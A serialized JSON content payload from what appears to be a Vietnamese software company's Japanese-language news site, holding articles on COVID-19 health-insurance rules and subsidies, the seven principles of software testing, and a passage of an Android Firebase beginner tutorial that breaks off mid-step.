[{"data":1,"prerenderedAt":25901},["ShallowReactive",2],{"all-news-ja":3},[4,80,246,362,481,1397,1790,2169,2290,2411,2484,2595,2673,2853,3636,3783,3955,4138,4597,4794,5108,5156,5233,5505,5724,5788,5860,5937,6324,6514,6586,6733,6891,7277,7761,7888,8108,8173,8553,8601,8687,8735,8875,8987,9053,9118,9185,9747,10244,10547,10668,10860,11132,11651,11820,13642,13675,13867,14068,14437,15094,15213,15434,15640,15864,15940,16261,16348,16463,16507,16557,16608,16652,16694,16738,16785,16829,16915,18188,18422,19118,19673,20071,20731,20898,21978,22259,22318,22422,22472,22501,22621,23637,23982,24511,24528,25066,25817],{"id":5,"title":6,"body":7,"category":67,"created by":68,"date":69,"description":70,"extension":71,"meta":72,"navigation":73,"path":74,"sections":75,"seo":76,"stem":77,"thumbnail":78,"__hash__":79},"content_ja\u002Fja\u002Fnews\u002F03-truong-hop-kham-chua-benh-dung-tuyen-bhyt-lien-quan-den-dich-covid-19.md","コロナ禍に関する保険対象施設での健康保険診療とされる３つのケース",{"type":8,"value":9,"toc":63},"minimark",[10,14,17,24,30,40,46,51],[11,12,13],"p",{},"保健省はコロナ禍に関する健康保険診療の費用支払について定めた2021年4月20日付の公告第3100\u002FBYT-BH号を公布しました。",[11,15,16],{},"それに沿って、コロナ禍に関する保険対象施設での健康保険診療とされる３つのケースは以下の通りとなります。",[11,18,19,23],{},[20,21,22],"strong",{},"1. 第一に"," コロナ禍で医療的に集中隔離されている健康保険証保有者に対して、保険対象となる診療施設とは異なる健康保険診療施設で診察・治療を受ける場合においては、保健省の指示に従って国家基金により支払われる、受診費用、病床費用、技術的なサービス、医薬品、血液、点滴といったコロナ禍に関する診療費用を除き、健康保険基金により、保険対象となる診療施設で診察・治療を受ける時と同じように享受可能な診療費用を支払われます。",[11,25,26,29],{},[20,27,28],{},"2. 第三に"," 健康保険診療施設は官公庁の指示に従って医療的に集中隔離を実施し或いは、新型コロナウイルス感染症であることが確定した者ないし新型コロナウイルス感染が疑われる者を診察・治療するよう指定される場合において、各省・中央直轄市の保健局は同省同市の社会保険機関と協力して以下を行います。",[31,32,33,37],"ul",{},[34,35,36],"li",{},"健康保険証保有者が同省同市に位置する他の診療施設へ診察・治療に行くような指導",[34,38,39],{},"診療施設がコロナ禍の状況を踏まえた転院を行うような指導",[11,41,42,45],{},[20,43,44],{},"3. 第三に"," 患者は、保険対象となる健康保険診療施設から処方箋、医薬品、医療機器、治療を受け、再診予約票、診察番号、再診を指定した健康手帳（以下に、再診予約票という）を交付されたが、コロナ禍の影響で保険対象となる健康保険診療施設へ行けない場合において、保険対象となる健康保険診療施設、および、患者が医療的に隔離されている地方または同省同市の保健局、社会保険機関の指示に従い、他の健康保険診療施設へ行ってその再診予約票を使って診察・治療を受けることができます。また、患者はコロナ禍が落ち着いたら、保険対象となる健康保険診療施設に戻し、他の健康保険診療施設の交付した再診予約票を使って診察・治療を受けることができます。",[11,47,48],{},[20,49,50],{},"上記の３つのケースは保険対象施設での健康保険診療とされます。",[11,52,53,56],{},[20,54,55],{},"参考元：",[57,58,62],"a",{"href":59,"rel":60},"https:\u002F\u002Fthuvienphapluat.vn\u002Fcong-van\u002FTai-chinh-nha-nuoc\u002FCong-van-3100-BYT-BH-2021-thanh-toan-chi-phi-kham-chua-benh-lien-quan-den-dich-COVID19-471655.aspx",[61],"nofollow","公告第3100\u002FBYT-BH号",{"title":64,"searchDepth":65,"depth":65,"links":66},"",2,[],"news","Briswell Vietnam Co Ltd","2021-07-16","保健省はコロナ禍に関する健康保険診療の費用支払について定めた2021年4月20日付の公告第3100\u002FBYT-BH号を公布しました。それに沿って、コロナ禍に関する保険対象施設での健康保険診療とされる３つのケースは以下の通りとなります。","md",{},true,"\u002Fja\u002Fnews\u002F03-truong-hop-kham-chua-benh-dung-tuyen-bhyt-lien-quan-den-dich-covid-19",null,{"title":6,"description":70},"ja\u002Fnews\u002F03-truong-hop-kham-chua-benh-dung-tuyen-bhyt-lien-quan-den-dich-covid-19","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F05\u002F24094253\u002FKCBdungtuyenlienquandenCovid19.png","yeotmxM_qrnX4_et0fxAm7q9bZEQNAb0FMOg-3MMVjw",{"id":81,"title":82,"body":83,"category":67,"created by":238,"date":239,"description":87,"extension":71,"meta":240,"navigation":73,"path":241,"sections":75,"seo":242,"stem":243,"thumbnail":244,"__hash__":245},"content_ja\u002Fja\u002Fnews\u002F5-chinh-sach-moi-anh-huong-den-quyen-loi-bao-hiem-y-te-co-hieu-luc-tu-01-07-2021.md","2021年7月1日からの健康保険加入者の権利に係わる5つの新政策",{"type":8,"value":84,"toc":236},[85,88,93,96,99,104,107,115,118,123,126,134,139,142,145,153,158,161,164,178,181,192,198],[11,86,87],{},"2021年7月1日から有効になっている保険加入者および健康保険加入者の権利に係わる公文書を以下に示します。",[11,89,90],{},[20,91,92],{},"1\u002F 『健康保険加入世帯』概念の変更",[11,94,95],{},"健康保険法の健康保険加入世帯に関する規則を改正した2020年居住法は2021年7月1日から有効になっています。同法どおりに、健康保険加入世帯とは、居住法の規定により法的な同一居住地に一時居住又は常住登録された者をいいます。（旧概念としては、健康保険加入世帯とは健康保険法により常住戸籍簿または一時居住名簿に記載されている者全員となっていました。）",[11,97,98],{},"このように変更した理由として戸籍簿を正式に廃止した新居住法に合わせたためとなっております。",[11,100,101],{},[20,102,103],{},"2\u002F 健康保険証の無償付与対象者の追加",[11,105,106],{},"社会保障制度の受益者のための社会扶助政策に関する議定第20\u002F2021\u002FNĐ-CP号は2021年7月1日から有効になっています。この議定に、健康保険証を無償で付与される対象者を以下のように追加しました。",[31,108,109,112],{},[34,110,111],{},"貧困世帯または貧困に近い世帯に属しており、16歳未満もしくは16歳以上22歳以下、かつ、義務教育学校、職業訓練校、専門学校、短期大学、大学（第一学位プログラムのみ）に通学している子供を片親で育ている者（以前、この者の子供のみ）",[34,113,114],{},"貧困世帯に属しており、給与、賃金、年金、社会保険手当、月次社会手当などの安定した収入をもっていないHIV感染者・AIDS患者",[11,116,117],{},"なお、この議定に沿って、多種類の健康保険証を保持している対象者は、利益の最も高い健康保険証のみ発行されます。",[11,119,120],{},[20,121,122],{},"3\u002F 傷病兵の親族向けの健康保険政策",[11,124,125],{},"革命功労者に対する優遇について定めた2020年法令第02\u002F2020\u002FUBTVQH14号は2021年7月1日から有効になっています。この法令どおりに、傷病兵だけでなく、その親族は以下のように健康保険に関する優遇政策を享受することができます。",[31,127,128,131],{},[34,129,130],{},"実父母、配偶者、6歳以上18歳未満の子供、通学している18歳以上の子供、身体損傷率 61％以上の病兵や傷兵のような政策上の受益者または傷兵のように特別な重度障害ないし重度障害をもつ18歳以上の子供",[34,132,133],{},"傷兵のような受益者または傷兵を介護する同居者、身体損傷率 81％以上の病兵を介護する同居者",[11,135,136],{},[20,137,138],{},"4\u002F 指定限度額による診療費用の支払",[11,140,141],{},"健康保険診療の費用を指定限度額により支払う事の施行細則を定めた通達第04\u002F2021\u002FTT-BYT号は2021年7月1日から有効になっています。",[11,143,144],{},"この通達どおりに、指定限度額は事前に決めた金額であり、健康保険証所有者に対し、一定期間でその限度額以内で外来診療するため健康保険診療施設に割り当てられます。",[31,146,147,150],{},[34,148,149],{},"市区町村病院の場合における指定限度額は他の費用を除き、健康保険加入者の享受可能な外来診療費用の全額になります。",[34,151,152],{},"省級病院および中央級病院の場合における指定限度額は他の費用を除き、健康保険加入者の保険対象となる健康保険診療施設でかかる指定限度額以内の外来診療費用の全額になります。",[11,154,155],{},[20,156,157],{},"5\u002F 健康保険証所有者に対する診療単価の公開",[11,159,160],{},"2021年7月1日から有効になっている通達第05\u002F2021\u002FTT-BYT号は公立病院の診療活動で民主化することについて定めました。",[11,162,163],{},"この通達に則り、公立病院は以下を公開しなければなりません。",[31,165,166,169,172,175],{},[34,167,168],{},"健康保険証を所有する者に対する診療単価",[34,170,171],{},"健康保険証を所有しない者に対する一般的な診療単価",[34,173,174],{},"診療料の軽減・減免制度",[34,176,177],{},"健康保険診療の費用支払および健康保険政策の施行",[11,179,180],{},"また、患者は以下について意見を述べ立て、施術を監視することができます。",[31,182,183,186,189],{},[34,184,185],{},"患者の意見の尊重や医療体制・施術方針・適切な患者の権利や利益の遵守",[34,187,188],{},"健康保険法の遵守",[34,190,191],{},"医師の患者に対する態度",[11,193,194,197],{},[20,195,196],{},"参照元："," ",[199,200,201,208,215,222,229],"ol",{},[34,202,203,204],{},"2020年居住法： ",[57,205,206],{"href":206,"rel":207},"https:\u002F\u002Fthuvienphapluat.vn\u002Fvan-ban\u002FQuyen-dan-su\u002FLuat-68-2020-QH14-cu-tru-435315.aspx",[61],[34,209,210,211],{},"議定第20\u002F2021\u002FNĐ-CP号： ",[57,212,213],{"href":213,"rel":214},"https:\u002F\u002Fthuvienphapluat.vn\u002Fvan-ban\u002Fvan-hoa-xa-hoi\u002Fnghi-dinh-20-2021-nd-cp-chinh-sach-tro-giup-xa-hoi-doi-voi-doi-tuong-bao-tro-xa-hoi-467723.aspx?v=d",[61],[34,216,217,218],{},"法令第No.02\u002F2020\u002FUBTVQH14号： ",[57,219,220],{"href":220,"rel":221},"https:\u002F\u002Fthuvienphapluat.vn\u002Fvan-ban\u002FVan-hoa-Xa-hoi\u002FPhap-lenh-02-2020-UBTVQH14-uu-dai-nguoi-co-cong-voi-Cach-mang-460718.aspx",[61],[34,223,224,225],{},"通達第04\u002F2021\u002FTT-BYT号：  ",[57,226,227],{"href":227,"rel":228},"https:\u002F\u002Fthuvienphapluat.vn\u002Fvan-ban\u002Fbao-hiem\u002Fthong-tu-04-2021-tt-byt-thanh-toan-chi-phi-kham-chua-benh-bao-hiem-y-te-theo-dinh-suat-384208.aspx?v=d",[61],[34,230,231,232,197],{},"通達第05\u002F2021\u002FTT-BYT号：  ",[57,233,234],{"href":234,"rel":235},"https:\u002F\u002Fthuvienphapluat.vn\u002Fvan-ban\u002FBo-may-hanh-chinh\u002FThong-tu-05-2021-TT-BYT-thuc-hien-dan-chu-trong-hoat-dong-co-so-kham-chua-benh-cong-lap-465922.aspx",[61],{"title":64,"searchDepth":65,"depth":65,"links":237},[],"TRAN VO THI BAO","2021-09-01",{},"\u002Fja\u002Fnews\u002F5-chinh-sach-moi-anh-huong-den-quyen-loi-bao-hiem-y-te-co-hieu-luc-tu-01-07-2021",{"title":82,"description":87},"ja\u002Fnews\u002F5-chinh-sach-moi-anh-huong-den-quyen-loi-bao-hiem-y-te-co-hieu-luc-tu-01-07-2021","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F08\u002F02170756\u002F5ChinhSachMoiAnhHuongDenBHYT.png","uihsLTjme8ymo9sy12cA_zqZ5hX95HtTh1-6LoEQ7SE",{"id":247,"title":248,"body":249,"category":353,"created by":68,"date":354,"description":355,"extension":71,"meta":356,"navigation":73,"path":357,"sections":75,"seo":358,"stem":359,"thumbnail":360,"__hash__":361},"content_ja\u002Fja\u002Fnews\u002F7-nguyen-tac-trong-kiem-thu-phan-mem.md","テストの7原則",{"type":8,"value":250,"toc":351},[251,254,259,262,265,268,273,276,279,282,287,290,293,298,301,304,309,312,315,318,323,326,329,334,337,340,345],[11,252,253],{},"ソフトウェア検証はソフトウェアが生まれた時点とともに生まれてきたのです。今まで、検証が効果的に行われるよう、いろいろな原則が立てられました。そのうちに、基礎的で重要な原則が7つあります。 ",[11,255,256,197],{},[20,257,258],{},"１．検証は欠陥があることを示せるが、欠陥がないことは示せない",[11,260,261],{},"欠陥を発見したら、そのソフトウェアに欠陥があることが言い切れます。しかし、どうしても欠陥が発見できなかったら、そのソフトウェアはもう欠陥がないことが言い切れません。なぜかというと、検証したテストケースが欠陥が発生するパターンを含んでいないかもしれないのです。 ",[11,263,264],{},"例: データベース格納機能を検証する時、指定されたレコードのみ更新して、それ以外更新なしという仕様があります。指定されたレコードが更新されたか検証して、残りのレコードは更新されていないか検証していませんでした。結果として、残りのレコードも更新されましたが、気づかなかったです。 ",[11,266,267],{},"そこで、検証における重要なのは故障が発見できるテストケース、テストパターンを立ち上げることです。",[11,269,270],{},[20,271,272],{},"２．全数テストは不可能",[11,274,275],{},"全数テストとはソフトウェアに入力できるデータとテストを行う条件のすべてのパターンを検証することです。",[11,277,278],{},"例: 8文字数以内で入力できるプログラムがあるとします。8文字以内を入力してテストしたら、正常に入力できていることを確認します。これは正常系のテストパターンと言います。逆に、9文字以上入力してテストしたら、エラーメッセージが返されていることを確認します。これは異常系のテストパターンと言います。全数テストしたら、正常系のパターンをテストするために、１文字入力するケース、2文字入力するケース、。。。、8文字入力するケース、合計8ケースがあります。しかし、異常系のパターンをテストするために、9文字入力するケース、10文字入力するケース、。。。無限にテストしないといけないです。当然それは無理です。そうしたら、どのように検証したら時間がかからなくて、テスト漏れにならないでしょうか。ソフトウェア検証には様々なテスト技法があります。この場合、同値分割というテスト技法を採用することができます。上記のように、正常系と異常系の2つのパターンに分けることができます。その2つのパターンにそれぞれ1つのケースを選んで、テストしたら良いです。例えば、6文字を入力して、エラーメッセージが返されなかったらプログラムが正しく動いていることが確認できます。そして、9文字を入力して、エラーメッセージが返されたらプログラムが正しく動いていることが確認できます。逆に、6文字を入力して、エラーメッセージが返されたら、プログラムが正常に動いていないことが確認できます。そして、9文字を入力して、エラーメッセージが返されなかったら、プログラムが正しく動いていないことになります。",[11,280,281],{},"そのため、実際の検証現場でソフトウェアの性質、目的や使われる方などから力を注ぐ必要な場所を絞ったり、優先順位を決めてテストしていきましょう。",[11,283,284],{},[20,285,286],{},"３．早期テストで時間とコストを節約",[11,288,289],{},"故障を発見するのが早ければ速いほど修正する時間やコストを節約することができるのです。事務所のビルの電気の設置を考えてみましょう。デザイン段階で電気の色が適切ではないことに気づいたら、電気のデザインを修正したらよいです。もし、電気が購入済みの段階で気づいたら、電気を取り替えたりして、取り替える費用もかかるようになります。そして、もしかして、電気をすべて設置した後に、適切ではないことに気づいたら、電気の解体費用、新しい電気の購入、再度設置コストなど多くの費用がかかるようになります。ソフトウェア検証も同じです。",[11,291,292],{},"そのため、テストは開発プロセスに早ければ早いほど実施すればよいです。",[11,294,295],{},[20,296,297],{},"４．欠陥の偏在",[11,299,300],{},"ソフトウェアはUI、データベース、計算機能、データ格納などの各機能、コンポーネントから作られています。それぞれの機能やコンポーネントの開発の難しさも異なります。そして、規模が大きい案件ではいくつかのチームで一緒にやって、指定された機能、コンポーネントを担当して、完成した後は組み合わせることもあります。そのため、故障は各機能やコンポーネントにおいて同じほど発生することではありません。故障はある機能やコンポーネントに集まります。パレートの法則によると、8割の結果は2割の原因から起こされたのです。",[11,302,303],{},"というと、過去の検証結果と最近の検証結果を見て、故障が発生する可能性が高い構成や機能を予測できます。それから、検証する時に、その構成や機能に気を付けたら効果的に検証が実施できます。",[11,305,306],{},[20,307,308],{},"５．殺独剤のパラドックスに気を付けよう",[11,310,311],{},"殺独剤のパラドックスとはずっと同じ殺独剤を使うと、だんだん効果がなくなるということです。その殺独剤に堪えられる虫が出てきます。ソフトウェア検証には、ずっと同じテストケースを使うと、だんだん故障が発見できなくなります。そのテストケースで発見できた故障が修正されたからです。",[11,313,314],{},"そのため、テストケースを常に新しい内容で更新する必要があります。新しいテストケースで故障を発見するたびに、必ずソフトウェアの質の向上に貢献することができます。",[11,316,317],{},"しかし、レグレッションテストでは元のテストケースが役に立ちます。レグレッションテストとはプログラムの一部を修正したことでシステムに予想外の影響が現れていないかどうか関連する機能、もしくは、ソフトウェアの全部の機能を確認するテストのことです。修正しない部分を検証する時に、もとのテストケースでテストできます。この場合、故障を発見したら、レグレッションバグと言います。但し、日本の企業ではその故障はデグレードバグと呼ぶことが多いです。",[11,319,320],{},[20,321,322],{},"６．テストは状況次第",[11,324,325],{},"各ソフトウェアはそれぞれの目的、システム構築、使用条件などがあるため、それぞれの適切なテスト技法を採用しなければなりません。例えば、会計ソフトウェアの検証とニュースを読むソフトウェアの検証が異なります。会計ソフトウェアを検証するには計算ロジックに力を注いで、計算が正しくされていることを確保しないといけないということです。それに対して、ニュースを読むソフトウェアを検証するには、ニュースが読みやすいか、正しいフォーマットで表示されているかなどUIに集中してテストしなければならないということです。",[11,327,328],{},"つまり、ソフトウェアの目的、システム構築、使用条件などによって、適当なテスト技法とテストケースを作成しなければならないということです。",[11,330,331],{},[20,332,333],{},"７．「バグゼロ」の落とし穴",[11,335,336],{},"報告された故障をすべて修正したことで、ソフトウェアが完璧に動いているわけではありません。これは「バグゼロ」の落とし穴ということです。故障の報告をもらい、調査を進めると要件を満たしていなかったことや、使い勝手が悪いということがあります。テストを全て完了させたからといって、全ての欠陥がなくなったわけではありません。",[11,338,339],{},"以上の7つの原則を覚えて応用することで、ソフトウェア検証をより効果的に行うことができます。しかし、ソフトウェアの検証において、一番大事なのは実際の検証現場で起こる可能性があるケースを想像して、理解することです。",[11,341,342],{},[20,343,344],{},"練習問題",[11,346,347],{},[57,348,349],{"href":349,"rel":350},"https:\u002F\u002Fexam-site.briswell-vn.com\u002FstartTest\u002Fjstqb-1-jp",[61],{"title":64,"searchDepth":65,"depth":65,"links":352},[],"testing","2024-10-14","ソフトウェア検証はソフトウェアが生まれた時点とともに生まれてきたのです。今まで、検証が効果的に行われるよう、いろいろな原則が立てられました。そのうちに、基礎的で重要な原則が7つあります。１．検証は欠陥があることを示せるが、欠陥がないことは示せない。欠陥を発見したら、そのソフトウェアに欠陥があることが言い切れます。しかし、どうしても欠陥が発見できなかったら、そのソフトウェアはもう欠陥がないことが言い切れません。なぜかというと、検証したテストケースが欠陥が発生するパターンを含んでいないかもしれないのです。",{},"\u002Fja\u002Fnews\u002F7-nguyen-tac-trong-kiem-thu-phan-mem",{"title":248,"description":355},"ja\u002Fnews\u002F7-nguyen-tac-trong-kiem-thu-phan-mem","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F10\u002F06170731\u002FScreenshot-2024-11-06-170623-1.png","3Bh6oUDlL1z4DzXLizfX91VQHk9_W1wD-cfo56fJVJ0",{"id":363,"title":364,"body":365,"category":67,"created by":68,"date":473,"description":474,"extension":71,"meta":475,"navigation":73,"path":476,"sections":75,"seo":477,"stem":478,"thumbnail":479,"__hash__":480},"content_ja\u002Fja\u002Fnews\u002F7subject-benefit-covid19.md","7種類の新型コロナウイルス補助金の対象者",{"type":8,"value":366,"toc":471},[367],[368,369,370,392],"table",{},[371,372,373],"thead",{},[374,375,376,382,387],"tr",{},[377,378,379],"th",{},[20,380,381],{},"連番",[377,383,384],{},[20,385,386],{},"対象",[377,388,389],{},[20,390,391],{},"支給額",[393,394,395,407,418,429,439,450,460],"tbody",{},[374,396,397,401,404],{},[398,399,400],"td",{},"1",[398,402,403],{},"労働契約を一時的に休止されて1ヶ月以上無給休業状態になった労働者",[398,405,406],{},"180万ドン／人／月",[374,408,409,412,415],{},[398,410,411],{},"2",[398,413,414],{},"資金繰りに苦しむ、且つ、労働契約を休止された労働者に対し少なくとも 50%の 給与を前払いした雇用者",[398,416,417],{},"労働者毎の地域別最低賃金の50%以下の無利子融資を受ける",[374,419,420,423,426],{},[398,421,422],{},"3",[398,424,425],{},"年間売上が一億ドン未満で営業を停止した個人事業主",[398,427,428],{},"100万ドン／人／月",[374,430,431,434,437],{},[398,432,433],{},"4",[398,435,436],{},"労働契約を解除されたが失業保険の受給条件を満たさない労働者または労働契約を締結せず解雇された労働者",[398,438,428],{},[374,440,441,444,447],{},[398,442,443],{},"5",[398,445,446],{},"月次補助金を受領している革命功労者",[398,448,449],{},"50万ドン／人／月",[374,451,452,455,458],{},[398,453,454],{},"6",[398,456,457],{},"月次社会手当をを受領している社会保護受給者",[398,459,449],{},[374,461,462,465,468],{},[398,463,464],{},"7",[398,466,467],{},"貧困世帯または貧困に近い世帯",[398,469,470],{},"25万ドン／人／月",{"title":64,"searchDepth":65,"depth":65,"links":472},[],"2020-05-21","連番 対象 支給額 1 労働契約を一時的に休止されて1ヶ月以上無給休業状態になった労働者 180万ドン／人／月 2 資金繰りに苦しむ、且つ、労働契約を休止された労働者に対し少なくとも 50%の 給与を前払いした雇用者",{},"\u002Fja\u002Fnews\u002F7subject-benefit-covid19",{"title":364,"description":474},"ja\u002Fnews\u002F7subject-benefit-covid19","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F05\u002F13074306\u002F33175415-vietnamese-money-dong-spread-background-texture.jpg","diLJ0P9ax-gMCnJN2n94p0bSs0v2K0GO0NTXTXKwOx4",{"id":482,"title":483,"body":484,"category":1386,"created by":68,"date":1389,"description":1390,"extension":71,"meta":1391,"navigation":73,"path":1392,"sections":75,"seo":1393,"stem":1394,"thumbnail":1395,"__hash__":1396},"content_ja\u002Fja\u002Fnews\u002Fandroid-firebase-for-beginer.md","初心者のためのAndroid Firebase",{"type":8,"value":485,"toc":1368},[486,494,499,508,512,519,529,537,543,547,560,570,574,580,588,595,609,615,625,629,637,641,651,655,659,664,667,671,686,690,695,705,709,714,718,730,734,756,760,767,771,784,788,795,799,805,809,815,819,821,825,832,836,838,842,848,853,868,870,874,878,881,884,887,904,908,913,919,922,926,933,937,945,949,956,960,965,971,975,997,1003,1009,1013,1019,1025,1029,1038,1044,1048,1051,1055,1064,1070,1078,1082,1104,1108,1114,1118,1122,1126,1131,1137,1145,1153,1157,1163,1167,1180,1182,1186,1190,1193,1196,1200,1211,1215,1220,1224,1233,1238,1244,1249,1253,1259,1265,1268,1274,1277,1283,1290,1295,1300,1306,1310,1315,1321,1325,1330,1336,1340,1344,1350,1356,1362],[487,488,491],"h1",{"style":489,"id":490},"text-align:center;","firebase",[20,492,493],{},"Firebase",[495,496,498],"h2",{"id":497},"ifirebaseとは","I. Firebaseとは",[11,500,501,502,507],{},"Google FirebaseはGoogleのバックエンドアプリケーションで開発者がiOSやandroid、",[57,503,506],{"href":504,"rel":505},"https:\u002F\u002Fsearchsoftwarequality.techtarget.com\u002Fdefinition\u002FWeb-application-Web-app",[61],"Web apps","の開発を行うことができるサービスです。Firebaseはトラッキングやその分析、クラッシュレポートまたその修正、マーケティングの調査、アプリケーションの検証のツールとして提供されています。Firebaseはたくさんのサービスがあります。今回はin-app messaging、cloud messages、そしてreal-time databasesについてご紹介したいと思います。",[495,509,511],{"id":510},"iiアプリにfirebaseを追加する","II. アプリにFirebaseを追加する",[11,513,514,515],{},"AndroidアプリケーションにFirebaseを入れる前に、AndroidアプリケーションをFirebaseに接続するためそのプロジェクトを構築する必要があります。Firebaseコンソールにログインをします。 ",[57,516,517],{"href":517,"rel":518},"https:\u002F\u002Fconsole.firebase.google.com\u002F?hl=en",[61],[11,520,521,524,525,528],{},[20,522,523],{},"Step 1",": Firebaseにログインした後、\"",[20,526,527],{},"Create a project","\"をクリックします。",[530,531],"img",{"className":532,"alt":64,"src":535,"style":536},[533,534],"block","mx-auto","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07075255\u002FScreen-Shot-2020-02-20-at-9.31.55-AM.png","width: 100%;",[11,538,539,542],{},[20,540,541],{},"Step 2",": ここからは新しくFirebaseプロジェクトを作成するための手順です。Android iconをクリックします。 ",[530,544],{"className":545,"alt":64,"src":546,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07075332\u002FScreen-Shot-2020-02-20-at-9.43.53-AM.png",[11,548,549,552,555,556,559],{},[20,550,551],{},"Step 3",[553,554],"android",{}," Manifestのpackage nameと同じものを\"",[20,557,558],{},"Android package name","\"に入力してください。",[11,561,562,567],{},[530,563],{"className":564,"alt":64,"src":565,"style":566},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07075551\u002FScreen-Shot-2020-02-21-at-3.19.26-PM.png","width: 70%;",[568,569],"br",{},[530,571],{"className":572,"alt":64,"src":573,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07075616\u002FScreen-Shot-2020-02-20-at-9.51.12-AM-1024x121.png",[11,575,576,579],{},[20,577,578],{},"Step 4",":  \"**google-services.json\"**をダウンロードしてください。そしてプロジェクトに追加してください。",[11,581,582,586],{},[530,583],{"className":584,"alt":64,"src":585,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07075822\u002FScreen-Shot-2020-02-21-at-3.20.06-PM.png",[568,587],{},[11,589,590,591,594],{},"Viewを切り替えるために\"Project\"をクリックしてください。そうするとプロジェクトのrootディレクトリが表示されます。\"",[20,592,593],{},"google-services.json","\"ファイルを\"Project\u002F~\u002Fapp\"フォルダにおきます。",[11,596,597,602,603,605],{},[530,598],{"className":599,"alt":64,"src":600,"style":601},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07075857\u002FScreen-Shot-2020-02-20-at-9.56.43-AM.png","width: 50%;"," ",[568,604],{},[530,606],{"className":607,"alt":64,"src":608,"style":601},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07075949\u002FScreen-Shot-2020-02-20-at-9.58.50-AM.png",[11,610,611,614],{},[20,612,613],{},"Step 5",": Firebase SDKを設定します。（画像参照）",[11,616,617,620,621,624],{},[20,618,619],{},"1."," \"",[20,622,623],{},"build.gradle","\" (Project):",[530,626],{"className":627,"alt":64,"src":628,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07080017\u002FScreen-Shot-2020-02-20-at-10.06.20-AM-1024x479.png",[11,630,631,620,634,636],{},[20,632,633],{},"2.",[20,635,623],{},"\" (app):",[530,638],{"className":639,"alt":64,"src":640,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07080017\u002FScreen-Shot-2020-02-20-at-10.06.20-AM.png",[11,642,643,646,647,650],{},[20,644,645],{},"Step 6",": 起動させFirebaseのアプリの確認を待ちます。成功のメッセージが表示されると“",[20,648,649],{},"Continue to console","”をクリックします。",[530,652],{"className":653,"alt":64,"src":654,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07080122\u002FScreen-Shot-2020-02-19-at-4.31.20-PM-31.png",[495,656,658],{"id":657},"iiiin-app-message","III. In-App Message",[660,661,663],"h3",{"id":662},"_1-紹介","1. 紹介",[11,665,666],{},"Firebase In-App Messagingは 狙ったユーザに対しアプリの主要な機能を動かすためテキストメッセージを送りユーザにアプリを起動させるように促すことができます。例えば、サブスクライバーやビデオ観賞、レベルの達成またはアイテムの購入を誘導するためユーザにin-app messageを送ります。 カードやバナー、モーダル、画像のようにカスタマイズすることができ、そしてトリガーをセットできます。そのため、一番効果があるタイミングで正確にそれを表示することができます。",[660,668,670],{"id":669},"_2-始め方","2. 始め方",[11,672,673,675,676,678,679,682,683,528],{},[20,674,523],{},": \"",[20,677,623],{},"\" (app)に “",[20,680,681],{},"implementation 'com.google.firebase:firebase-inappmessaging-display:19.0.3'","”を追加します。そして”",[20,684,685],{},"Sync Now",[530,687],{"className":688,"alt":64,"src":689,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07080223\u002FScreen-Shot-2020-02-19-at-4.51.31-PM-33-1024x641.png",[11,691,692,694],{},[20,693,541],{},": Firebase instance ID (Firebaseのin-app messageのテストに使用するID)を取得します。",[696,697,702],"pre",{"className":698,"code":700,"language":701},[699],"language-text","private fun createInstanceId() {\n    FirebaseInstanceId.getInstance().instanceId.addOnCompleteListener { task ->\n        if (!task.isSuccessful) {\n            Log.w(TAG, \"getInstanceId failed\", task.exception)\n            return@addOnCompleteListener\n        }\n\n        \u002F\u002Fcreate new instance id Token\n        val msg = task.result?.id\n        Log.d(TAG, \"token: $msg\")\n    }\n}\n","text",[703,704,700],"code",{"__ignoreMap":64},[530,706],{"className":707,"alt":64,"src":708,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07080253\u002FScreen-Shot-2020-02-19-at-5.01.04-PM-35-1024x417.png",[11,710,711,713],{},[20,712,551],{},":アプリを起動させ\"Logcat\" ツールを開きます。ID tokenをそこで確認することができます。",[530,715],{"className":716,"alt":64,"src":717,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07080319\u002FScreen-Shot-2020-02-19-at-5.23.36-PM-51-1024x625.png",[11,719,720,722,723,726,727,650],{},[20,721,578],{},": ID tokenをコピーし, Firebase コンソール -\"",[20,724,725],{},"In-App Messaging","\"を開き, “",[20,728,729],{},"Create your first 